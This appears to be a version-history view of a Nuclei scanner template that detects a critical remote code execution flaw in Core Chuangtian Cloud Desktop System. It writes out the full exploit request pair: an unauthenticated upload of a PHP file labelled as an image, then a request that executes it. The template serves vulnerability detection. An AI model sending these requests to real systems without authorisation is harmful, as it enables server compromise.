2021-04-13 06:53:27 +00:00
|
|
|
id: core-chuangtian-cloud-rce
|
|
|
|
|
|
|
|
info:
|
2022-06-03 19:12:31 +00:00
|
|
|
name: Core Chuangtian Cloud Desktop System - Remote Code Execution
|
2021-04-13 06:53:27 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2022-06-03 19:12:31 +00:00
|
|
|
description: Core Chuangtian Cloud Desktop System is susceptible to remote code execution vulnerabilities.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
|
2022-06-03 19:12:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10.0
|
|
|
|
cwe-id: CWE-77
|
2022-11-02 13:24:27 +00:00
|
|
|
tags: rce,fileupload,intrusive,cloud,chuangtian
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2021-04-13 06:53:27 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-04-13 06:53:27 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /Upload/upload_file.php?l=test HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
|
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
|
|
|
|
|
|
|
|
------WebKitFormBoundaryfcKRltGv
|
2022-11-02 13:24:27 +00:00
|
|
|
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
|
2021-04-13 06:53:27 +00:00
|
|
|
Content-Type: image/avif
|
|
|
|
|
2022-11-02 13:24:27 +00:00
|
|
|
<?php echo md5("core-chuangtian-cloud"); ?>
|
2021-04-13 06:53:27 +00:00
|
|
|
------WebKitFormBoundaryfcKRltGv--
|
|
|
|
|
|
|
|
- |
|
2022-11-02 13:24:27 +00:00
|
|
|
GET /Upload/test/{{randstr}}.php HTTP/1.1
|
2021-04-13 06:53:27 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2021-04-13 20:23:24 +00:00
|
|
|
req-condition: true
|
2021-04-13 06:53:27 +00:00
|
|
|
matchers:
|
2021-04-13 20:23:24 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2022-11-02 13:24:27 +00:00
|
|
|
- 'contains(body_2, "f0a712e2bcf99c5b0c370b3a4286bb35")'
|
2021-04-13 20:23:24 +00:00
|
|
|
- 'status_code_2 == 200'
|
|
|
|
condition: and
|